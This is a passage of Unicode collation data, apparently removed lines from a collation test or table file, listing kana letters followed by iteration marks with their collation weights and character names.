-30AF 3099 30FE ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF78 FF9E 30FE ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3050 309E ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GU, HIRAGANA VOICED ITERATION MARK>
-304F 3099 309E ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30B1 30FD ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002] # <KATAKANA LETTER KE, KATAKANA ITERATION MARK>
-FF79 30FD ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KE, KATAKANA ITERATION MARK>
-3051 309D ; [.3BCC.0020.0011.0001][.3BCC.0020.0010.0002] # <HIRAGANA LETTER KE, HIRAGANA ITERATION MARK>
-30B1 30FE ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KE, KATAKANA VOICED ITERATION MARK>
-FF79 30FE ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KE, KATAKANA VOICED ITERATION MARK>
-3051 309E ; [.3BCC.0020.0011.0001][.3BCC.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KE, HIRAGANA VOICED ITERATION MARK>
-30B2 30FD ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002] # <KATAKANA LETTER GE, KATAKANA ITERATION MARK>
-30B1 3099 30FD ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002] # <KATAKANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF79 FF9E 30FD ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3052 309D ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002] # <HIRAGANA LETTER GE, HIRAGANA ITERATION MARK>
-3051 3099 309D ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002] # <HIRAGANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30B2 30FE ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GE, KATAKANA VOICED ITERATION MARK>
-30B1 3099 30FE ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF79 FF9E 30FE ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3052 309E ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GE, HIRAGANA VOICED ITERATION MARK>
-3051 3099 309E ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30B3 30FD ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002] # <KATAKANA LETTER KO, KATAKANA ITERATION MARK>
-FF7A 30FD ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KO, KATAKANA ITERATION MARK>
-3053 309D ; [.3BCD.0020.0011.0001][.3BCD.0020.0010.0002] # <HIRAGANA LETTER KO, HIRAGANA ITERATION MARK>
-30B3 30FE ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KO, KATAKANA VOICED ITERATION MARK>
-FF7A 30FE ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KO, KATAKANA VOICED ITERATION MARK>
-3053 309E ; [.3BCD.0020.0011.0001][.3BCD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KO, HIRAGANA VOICED ITERATION MARK>
-30B4 30FD ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002] # <KATAKANA LETTER GO, KATAKANA ITERATION MARK>
-30B3 3099 30FD ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002] # <KATAKANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF7A FF9E 30FD ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3054 309D ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002] # <HIRAGANA LETTER GO, HIRAGANA ITERATION MARK>
-3053 3099 309D ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002] # <HIRAGANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30B4 30FE ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GO, KATAKANA VOICED ITERATION MARK>
-30B3 3099 30FE ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF7A FF9E 30FE ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3054 309E ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GO, HIRAGANA VOICED ITERATION MARK>
-3053 3099 309E ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30B5 30FD ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002] # <KATAKANA LETTER SA, KATAKANA ITERATION MARK>
-FF7B 30FD ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SA, KATAKANA ITERATION MARK>
-3055 309D ; [.3BCE.0020.0011.0001][.3BCE.0020.0010.0002] # <HIRAGANA LETTER SA, HIRAGANA ITERATION MARK>
-30B5 30FE ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SA, KATAKANA VOICED ITERATION MARK>
-FF7B 30FE ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SA, KATAKANA VOICED ITERATION MARK>
-3055 309E ; [.3BCE.0020.0011.0001][.3BCE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SA, HIRAGANA VOICED ITERATION MARK>
-30B6 30FD ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002] # <KATAKANA LETTER ZA, KATAKANA ITERATION MARK>
-30B5 3099 30FD ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002] # <KATAKANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF7B FF9E 30FD ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3056 309D ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002] # <HIRAGANA LETTER ZA, HIRAGANA ITERATION MARK>
-3055 3099 309D ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002] # <HIRAGANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30B6 30FE ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZA, KATAKANA VOICED ITERATION MARK>
-30B5 3099 30FE ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF7B FF9E 30FE ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3056 309E ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZA, HIRAGANA VOICED ITERATION MARK>
-3055 3099 309E ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30B7 30FD ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002] # <KATAKANA LETTER SI, KATAKANA ITERATION MARK>
-FF7C 30FD ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SI, KATAKANA ITERATION MARK>
-3057 309D ; [.3BCF.0020.0011.0001][.3BCF.0020.0010.0002] # <HIRAGANA LETTER SI, HIRAGANA ITERATION MARK>
-30B7 30FE ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SI, KATAKANA VOICED ITERATION MARK>
-FF7C 30FE ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SI, KATAKANA VOICED ITERATION MARK>
-3057 309E ; [.3BCF.0020.0011.0001][.3BCF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SI, HIRAGANA VOICED ITERATION MARK>
-30B8 30FD ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002] # <KATAKANA LETTER ZI, KATAKANA ITERATION MARK>
-30B7 3099 30FD ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002] # <KATAKANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF7C FF9E 30FD ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3058 309D ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002] # <HIRAGANA LETTER ZI, HIRAGANA ITERATION MARK>
-3057 3099 309D ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002] # <HIRAGANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30B8 30FE ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZI, KATAKANA VOICED ITERATION MARK>
-30B7 3099 30FE ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF7C FF9E 30FE ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3058 309E ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZI, HIRAGANA VOICED ITERATION MARK>
-3057 3099 309E ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30B9 30FD ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002] # <KATAKANA LETTER SU, KATAKANA ITERATION MARK>
-FF7D 30FD ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SU, KATAKANA ITERATION MARK>
-3059 309D ; [.3BD0.0020.0011.0001][.3BD0.0020.0010.0002] # <HIRAGANA LETTER SU, HIRAGANA ITERATION MARK>
-30B9 30FE ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SU, KATAKANA VOICED ITERATION MARK>
-FF7D 30FE ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SU, KATAKANA VOICED ITERATION MARK>
-3059 309E ; [.3BD0.0020.0011.0001][.3BD0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SU, HIRAGANA VOICED ITERATION MARK>
-30BA 30FD ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002] # <KATAKANA LETTER ZU, KATAKANA ITERATION MARK>
-30B9 3099 30FD ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002] # <KATAKANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF7D FF9E 30FD ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-305A 309D ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002] # <HIRAGANA LETTER ZU, HIRAGANA ITERATION MARK>
-3059 3099 309D ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002] # <HIRAGANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30BA 30FE ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZU, KATAKANA VOICED ITERATION MARK>
-30B9 3099 30FE ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF7D FF9E 30FE ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-305A 309E ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZU, HIRAGANA VOICED ITERATION MARK>
-3059 3099 309E ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30BB 30FD ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002] # <KATAKANA LETTER SE, KATAKANA ITERATION MARK>
-FF7E 30FD ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SE, KATAKANA ITERATION MARK>
-305B 309D ; [.3BD1.0020.0011.0001][.3BD1.0020.0010.0002] # <HIRAGANA LETTER SE, HIRAGANA ITERATION MARK>
-30BB 30FE ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SE, KATAKANA VOICED ITERATION MARK>
-FF7E 30FE ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SE, KATAKANA VOICED ITERATION MARK>
-305B 309E ; [.3BD1.0020.0011.0001][.3BD1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SE, HIRAGANA VOICED ITERATION MARK>
-30BC 30FD ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002] # <KATAKANA LETTER ZE, KATAKANA ITERATION MARK>
-30BB 3099 30FD ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002] # <KATAKANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF7E FF9E 30FD ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-305C 309D ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002] # <HIRAGANA LETTER ZE, HIRAGANA ITERATION MARK>
-305B 3099 309D ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002] # <HIRAGANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30BC 30FE ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZE, KATAKANA VOICED ITERATION MARK>
-30BB 3099 30FE ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF7E FF9E 30FE ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-305C 309E ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZE, HIRAGANA VOICED ITERATION MARK>
-305B 3099 309E ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30BD 30FD ; [.3BD2.0020.0011.0002][.3BD2.0020.0010.0002] # <KATAKANA LETTER SO, KATAKANA ITERATION MARK>
-FF7F 30FD ; [.3BD2.0020.0011.0002][.3BD2.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SO, KATAKANA ITERATION MARK>
-305D 309D ; [.3BD2.0020.0011.0001][.3BD2.0020.0010.0002] # <HIRAGANA LETTER SO, HIRAGANA ITERATION MARK>
-30BD 30FE ; [.3BD2.0020.0011.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SO, KATAKANA VOICED ITERATION MARK>
-FF7F 30FE ; [.3BD2.0020.0011.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SO, KATAKANA VOICED ITERATION MARK>
-305D 309E ; [.3BD2.0020.0011.0001][.3BD2.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SO, HIRAGANA VOICED ITERATION MARK>
-30BE 30FD ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002] # <KATAKANA LETTER ZO, KATAKANA ITERATION MARK>
-30BD 3099 30FD ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002] # <KATAKANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF7F FF9E 30FD ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-305E 309D ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002] # <HIRAGANA LETTER ZO, HIRAGANA ITERATION MARK>
-305D 3099 309D ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002] # <HIRAGANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30BE 30FE ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZO, KATAKANA VOICED ITERATION MARK>
-30BD 3099 30FE ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF7F FF9E 30FE ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-305E 309E ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZO, HIRAGANA VOICED ITERATION MARK>
-305D 3099 309E ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30BF 30FD ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002] # <KATAKANA LETTER TA, KATAKANA ITERATION MARK>
-FF80 30FD ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TA, KATAKANA ITERATION MARK>
-305F 309D ; [.3BD3.0020.0011.0001][.3BD3.0020.0010.0002] # <HIRAGANA LETTER TA, HIRAGANA ITERATION MARK>
-30BF 30FE ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TA, KATAKANA VOICED ITERATION MARK>
-FF80 30FE ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TA, KATAKANA VOICED ITERATION MARK>
-305F 309E ; [.3BD3.0020.0011.0001][.3BD3.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TA, HIRAGANA VOICED ITERATION MARK>
-30C0 30FD ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002] # <KATAKANA LETTER DA, KATAKANA ITERATION MARK>
-30BF 3099 30FD ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002] # <KATAKANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF80 FF9E 30FD ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3060 309D ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002] # <HIRAGANA LETTER DA, HIRAGANA ITERATION MARK>
-305F 3099 309D ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002] # <HIRAGANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30C0 30FE ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DA, KATAKANA VOICED ITERATION MARK>
-30BF 3099 30FE ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF80 FF9E 30FE ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3060 309E ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DA, HIRAGANA VOICED ITERATION MARK>
-305F 3099 309E ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30C1 30FD ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002] # <KATAKANA LETTER TI, KATAKANA ITERATION MARK>
-FF81 30FD ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TI, KATAKANA ITERATION MARK>
-3061 309D ; [.3BD4.0020.0011.0001][.3BD4.0020.0010.0002] # <HIRAGANA LETTER TI, HIRAGANA ITERATION MARK>
-30C1 30FE ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TI, KATAKANA VOICED ITERATION MARK>
-FF81 30FE ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TI, KATAKANA VOICED ITERATION MARK>
-3061 309E ; [.3BD4.0020.0011.0001][.3BD4.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TI, HIRAGANA VOICED ITERATION MARK>
-30C2 30FD ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002] # <KATAKANA LETTER DI, KATAKANA ITERATION MARK>
-30C1 3099 30FD ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002] # <KATAKANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF81 FF9E 30FD ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3062 309D ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002] # <HIRAGANA LETTER DI, HIRAGANA ITERATION MARK>
-3061 3099 309D ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002] # <HIRAGANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30C2 30FE ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DI, KATAKANA VOICED ITERATION MARK>
-30C1 3099 30FE ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF81 FF9E 30FE ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3062 309E ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DI, HIRAGANA VOICED ITERATION MARK>
-3061 3099 309E ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30C3 30FD ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002] # <KATAKANA LETTER SMALL TU, KATAKANA ITERATION MARK>
